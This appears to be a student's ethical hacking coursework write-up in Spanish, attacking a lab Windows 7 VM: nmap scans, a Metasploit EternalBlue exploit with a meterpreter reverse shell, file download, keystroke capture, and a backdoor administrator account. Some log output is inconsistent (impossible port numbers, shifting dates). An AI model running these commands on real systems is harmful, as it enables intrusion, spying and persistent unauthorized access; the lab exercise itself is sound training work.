

Proyecto Final Hacking Ético

Cada sección vale 10 puntos, para un total de 30 puntos.

Requisito: para los siguientes puntos debe crear una máquina virtual de windows 7 o windows server 2008 la cual llamaremos víctima.

1. Ataque de reconocimiento a la víctima.

```
kali@kali:~$ ping 192.168.0.104
PING 192.168.0.104 (192.168.0.104): 56(84) bytes of data:
64 bytes from 192.168.0.104: icmp_seq=1 ttl=128 time=0.112 ms
64 bytes from 192.168.0.104: icmp_seq=2 ttl=128 time=0.089 ms
64 bytes from 192.168.0.104: icmp_seq=3 ttl=128 time=0.068 ms
64 bytes from 192.168.0.104: icmp_seq=4 ttl=128 time=0.058 ms
64 bytes from 192.168.0.104: icmp_seq=5 ttl=128 time=0.165 ms
64 bytes from 192.168.0.104: icmp_seq=6 ttl=128 time=0.127 ms
64 bytes from 192.168.0.104: icmp_seq=7 ttl=128 time=0.099 ms
64 bytes from 192.168.0.104: icmp_seq=8 ttl=128 time=0.112 ms
64 bytes from 192.168.0.104: icmp_seq=9 ttl=128 time=0.126 ms
64 bytes from 192.168.0.104: icmp_seq=10 ttl=128 time=0.048 ms
64 bytes from 192.168.0.104: icmp_seq=11 ttl=128 time=0.112 ms
64 bytes from 192.168.0.104: icmp_seq=12 ttl=128 time=0.109 ms
64 bytes from 192.168.0.104: icmp_seq=13 ttl=128 time=0.168 ms
64 bytes from 192.168.0.104: icmp_seq=14 ttl=128 time=0.120 ms
64 bytes from 192.168.0.104: icmp_seq=15 ttl=128 time=0.118 ms
64 bytes from 192.168.0.104: icmp_seq=16 ttl=128 time=0.116 ms
64 bytes from 192.168.0.104: icmp_seq=17 ttl=128 time=0.165 ms
64 bytes from 192.168.0.104: icmp_seq=18 ttl=128 time=0.176 ms
64 bytes from 192.168.0.104: icmp_seq=19 ttl=128 time=0.088 ms
64 bytes from 192.168.0.104: icmp_seq=20 ttl=128 time=0.088 ms
64 bytes from 192.168.0.104: icmp_seq=21 ttl=128 time=0.116 ms
64 bytes from 192.168.0.104: icmp_seq=22 ttl=128 time=0.178 ms
64 bytes from 192.168.0.104: icmp_seq=23 ttl=128 time=0.175 ms
64 bytes from 192.168.0.104: icmp_seq=24 ttl=128 time=0.090 ms
64 bytes from 192.168.0.104: icmp_seq=25 ttl=128 time=0.151 ms
64 bytes from 192.168.0.104: icmp_seq=26 ttl=128 time=0.906 ms
^C
  192.168.0.104 ping statistics:
  26 packets transmitted, 26 received, 0% packet loss, time 25110ms
 rtt min/avg/max/mdev = 0.083/1.163/6.745/0.761 ms
kali@kali:~$
```

1.a Utilice nmap y haga un escaneo de puertos y de servicio solo a la ip de la víctima. Identifique cuáles puertos tiene abierto, el sistema operativo, si no le muestra estas informaciones ajuste las opciones de nmap para que le muestre la información solicitada. Exporte el resultado a html y súbalo junto con este documento.

```
kali@kali:~$ sudo nmap -sV -O -T4 -p- -Pn 192.168.0.104 -oX scan1.xml
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2025-11-23 21:04 UTC
Nmap scan report for 192.168.0.104
Host is up (0.0017s latency).
Not shown: 65525 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49158/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 28:C5:D2:02:F2:D3 (Intel Corporate)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: ALANLOZANO-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 79.57 seconds
kali@kali:~$
```

1.b Vuelva a ejecutar nmap utilizando los scripts de vulnerabilidades. Identifique las vulnerabilidades encontradas. Verifique si entre las vulnerabilidades está la de eternalblue (es posible que salga con otro nombre, favor investigar). Exporte el resultado a html y súbalo junto con este documento.

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

kali@kali:~$ sudo nmap -script vuln -p135,139,445 192.168.0.104 -o vulnscan.xml
[sudo] password for kali:
Starting Nmap 7.94 (https://nmap.org) at 2025-11-23 21:21 UTC
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After MULL UDP avahi packet DoS (CVE-2011-1802).
|   Hosts are all up (not vulnerable).
| Nmap scan report for 192.168.0.104
| Host is up (0.0027s latency).
|
| PORT      STATE SERVICE
| 135/tcp   open  msrpc
| 139/tcp   open  netbios-ssn
| 445/tcp   open  microsoft-ds
| MAC Address: 28:C3:D2:02:F2:D3 (Intel Corporate)
|
| Host script results:
|_ smb-vuln-cve-2012-1162: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms17-010:
|   VULNERABLE!
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|     servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ smb-vuln-ms10-034: false
|
| Nmap done: 1 IP address (1 host up) scanned in 96.27 seconds
|
|_ kali@kali:~$
```

2. Realizar el ataque de penetración con eternalblue a la víctima.

2.a Tener acceso por terminal a la máquina virtual víctima mediante el ataque eternalblue. Debe investigar cómo hacerlo.

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

kali@kali:~$ msfconsole

msf5 (root) > use exploit/windows/smb/ms17_010_eternalblue

[*] metasploit v6.3.27-dev
[*] -- 2338 exploits - 1220 auxiliary - 413 post
[*] -- 1385 payloads - 46 encoders - 11 nops
[*] -- 9 evasion

Metasploit tip: Use the analyze command to suggest
runnable modules for hosts
Metasploit Documentation: https://docs.metasploit.com/

msf5 > use exploit/windows/smb/ms17_010_eternalblue
```

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.0.104
RHOSTS => 192.168.0.104
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.103
LHOST => 192.168.0.103
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.0.103:4444
[*] 192.168.0.104:4445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.0.104:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.104:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.0.104:445 - The target is vulnerable.
[*] 192.168.0.104:445 - Connecting to target for exploitation.
[*] 192.168.0.104:445 - Connection established for exploitation.
[*] 192.168.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 192.168.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.104:445 - Trying exploit with 12 Groom allocations.
[*] 192.168.0.104:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.104:445 - Starting non-paged pool grooming
[*] 192.168.0.104:445 - Sending SMBv2 buffers
[*] 192.168.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.104:445 - Sending final SMBv2 buffers.
[*] 192.168.0.104:445 - Sending last fragment of exploit packet!
[*] 192.168.0.104:445 - Receiving response from exploit packet
[*] 192.168.0.104:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.0.104:445 - Sending egg to corrupted connection.
[*] 192.168.0.104:445 - Triggering free of corrupted buffer.
[*] 192.168.0.104:445 - -----FAIL-----
[*] 192.168.0.104:445 - Connecting to target for exploitation.
[*] 192.168.0.104:445 - Connection established for exploitation.
[*] 192.168.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 192.168.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.104:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.0.104:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.104:445 - Starting non-paged pool grooming
[*] 192.168.0.104:445 - Sending SMBv2 buffers
[*] 192.168.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.104:445 - Sending final SMBv2 buffers.
[*] 192.168.0.104:445 - Sending last fragment of exploit packet!
[*] 192.168.0.104:445 - Receiving response from exploit packet
[*] 192.168.0.104:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.0.104:445 -
```

2.b Copiar un archivo de prueba ubicado en el escritorio del usuario de la víctima.

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

[*] 192.168.0.104:445 - -----FAIL-----
[*] 192.168.0.104:445 - Connecting to target for exploitation.
[*] 192.168.0.104:445 - Connection established for exploitation.
[*] 192.168.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 192.168.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.104:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.0.104:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.104:445 - Starting non-paged pool grooming
[*] 192.168.0.104:445 - Sending SMBv2 buffers
[*] 192.168.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.104:445 - Sending final SMBv2 buffers.
[*] 192.168.0.104:445 - Sending last fragment of exploit packet!
[*] 192.168.0.104:445 - Receiving response from exploit packet
[*] 192.168.0.104:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.0.104:445 - Triggering free of corrupted buffer.
[*] 192.168.0.104:445 - Sending stage (208376 bytes) to 192.168.0.104
[*] Meterpreter session opened (192.168.0.103:4444 -> 192.168.0.104:49217) at 2025-11-23 22:18:04 +0000
[*] 192.168.0.104:445 - -----WIN-----
[*] 192.168.0.104:445 -
[*] 192.168.0.104:445 -

meterpreter > cd C:\Users\Alanlozano\Desktop
meterpreter > ls
Listing: C:\Users\Alanlozano\Desktop

Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-    282     fil      2025-11-22 18:38:45 +0000 desktop.ini
040777/rwxrwxrwx      0     dir      2025-11-23 22:08:30 +0000 prueba.txt

meterpreter > download prueba.txt
[*] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > download prueba.txt
[*] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cd C:\Users\Alanlozano\Desktop
meterpreter > ls
Listing: C:\Users\Alanlozano\Desktop

Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-      0     fil      2025-11-23 22:21:25 +0000 Prueba.txt.txt
100666/rw-rw-rw-    282     fil      2025-11-22 18:38:45 +0000 desktop.ini
040777/rwxrwxrwx      0     dir      2025-11-23 22:08:30 +0000 prueba.txt

meterpreter > download Prueba.txt.txt
[*] Downloading: Prueba.txt.txt -> /home/kali/Prueba.txt.txt
[*] Completed : Prueba.txt.txt -> /home/kali/Prueba.txt.txt
meterpreter >
```


2.c Capturar un texto escrito por la víctima.

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
1 2 3 4
meterpreter > keyscan_start
Starting the keystroke sniffer ...
[*] stdapi_ui_start_keyscan: Operation failed: Incorrect function.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps

Process List

PID  PPID  Name                Arch  Session  User                        Path
--  --
0    0    [System Process]
4    0    System
128  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\smss.exe
288  4    smss.exe            x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\csrss.exe
352  340  csrss.exe           x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\wininit.exe
392  340  wininit.exe         x64    1        NT AUTHORITY\SYSTEM        C:\Windows\System32\csrss.exe
428  404  csrss.exe           x64    1        NT AUTHORITY\SYSTEM        C:\Windows\System32\winlogon.exe
456  404  winlogon.exe        x64    1        NT AUTHORITY\SYSTEM        C:\Windows\System32\Services.exe
500  392  services.exe        x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsass.exe
516  392  lsass.exe           x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsass.exe
524  392  lsm.exe             x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
584  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
628  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
784  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
844  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
872  500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
924  844  dm.exe              x64    1        AlanLozano-PC\AlanLozano  C:\Windows\System32\lsm.exe
1188 500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
1368 500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
1748 500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
1860 1412 explorer.exe        x64    1        AlanLozano-PC\AlanLozano  C:\Windows\Explorer.EXE
2000 500  taskhost.exe        x64    1        AlanLozano-PC\AlanLozano  C:\Windows\System32\taskhost.exe
2056 500  smss.exe            x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
2112 500  svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
2168 500 SearchIndexer.exe   x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
2212 500 spoolsv.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
2404 1860 notepad.exe         x64    1        AlanLozano-PC\AlanLozano  C:\Windows\System32\notepad.exe
2548 500 wmpnetw.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe
2612 500 svchost.exe         x64    0        NT AUTHORITY\SYSTEM        C:\Windows\System32\lsm.exe

meterpreter > migrate 1860
[*] Migrating from 2312 to 1860...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
blacCR>
<BLOQ MAYUS>A<BLOQ MAYUS>lan lozano esta aqui y sera el mejor ingeniero en ciberseguridad.<CR>

meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > |
```

3. Mantener el acceso (post-explotación).

Nota: si usted reinicia la víctima se dará cuenta que se pierde la conexión realizada en el ataque del punto dos. Para evitar esto debe crear una puerta trasera (backdoor) persistente.

3.a Investigar e implementar un mecanismo de persistencia. Esto podría ser la creación de un nuevo usuario con privilegios de administrador, o la configuración de un payload de Metasploit (como un meterpreter) que se inicie automáticamente con el sistema.

```
Ethical-Hacker-Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
1 2 3 4
[*] Started reverse TCP handler on 192.168.0.103:4444
[*] 192.168.0.104:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.0.104:445 - Host is likely VULNERABLE to MS17-010 - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.104:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.0.104:445 - The target is vulnerable.
[*] 192.168.0.104:445 - Connecting to target for exploitation.
[*] 192.168.0.104:445 - Connection established for exploitation.
[*] 192.168.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.104:445 - CORE raw buffer dump (62 bytes)
[*] 192.168.0.104:445 - 0x00000000 57 69 66 64 6f 77 73 20 37 20 58 72 6f 66 65 73  Windows 7 Profes
[*] 192.168.0.104:445 - 0x00000010 72 69 6f 66 64 6f 28 37 36 30 31 20 53 65 72 76  signal 7601 Serv
[*] 192.168.0.104:445 - 0x00000020 69 63 85 20 58 61 63 60 20 31  ice Pack 1
[*] 192.168.0.104:445 - Target arch selected valid for arch indicated by DCI/RPC reply
[*] 192.168.0.104:445 - Trying exploit with 32 Groom Alllocations.
[*] 192.168.0.104:445 - Sending all but last fragment of exploit packet
[*] Sending stage (200776 bytes) to 192.168.0.104
[*] 192.168.0.104:445 - Starting non-paged pool grooming
[*] 192.168.0.104:445 - Sending SMBv2 buffers
[*] 192.168.0.104:445 - Closing SMBv2 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.104:445 - Sending final SMBv2 buffers.
[*] 192.168.0.104:445 - Sending last fragment of exploit packet!
[*] 192.168.0.104:445 - Receiving response from exploit packet
[*] 192.168.0.104:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.0.104:445 - Sending egg to corrupted connection.
[*] 192.168.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (200776 bytes) to 192.168.0.104
[*] Meterpreter session 2 opened (192.168.0.103:4444 -> 192.168.0.104:445229) at 2015-11-23 22:55:06 +0800
[*] Meterpreter session 3 opened (192.168.0.103:4444 -> 192.168.0.104:445230) at 2015-11-23 22:55:07 +0800
[*] 192.168.0.104:445 - *****
[*] 192.168.0.104:445 - *****
[*] 192.168.0.104:445 - *****

meterpreter > cd C:\Users\ALANLOZANO\Desktop
msf5> shell
Process 2876 created.
Channel 1 created.
Microsoft Windows [Versi3n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\ALANLOZANO\Desktop> net user lozano13 P@ssw0rd13 /add
net user lozano13 P@ssw0rd13 /add
Se ha completado el comando correctamente.

C:\Users\ALANLOZANO\Desktop> net localgroup administrators lozano13 /add
net localgroup administrators lozano13 /add
Error de sistema 1376.

El grupo local especificado no existe.

C:\Users\ALANLOZANO\Desktop> net localgroup administrators lozano13 /add
net localgroup administrators lozano13 /add
Se ha completado el comando correctamente.

C:\Users\ALANLOZANO\Desktop> |
```

3.b Entre a la víctima de manera normal, busque evidencias de lo realizado en el punto 3.a, ejemplo: tome capturas de pantalla que demuestren que se creó el usuario nuevo o que hay un puerto abierto y un programa que se ejecuta cada vez que inicia windows.

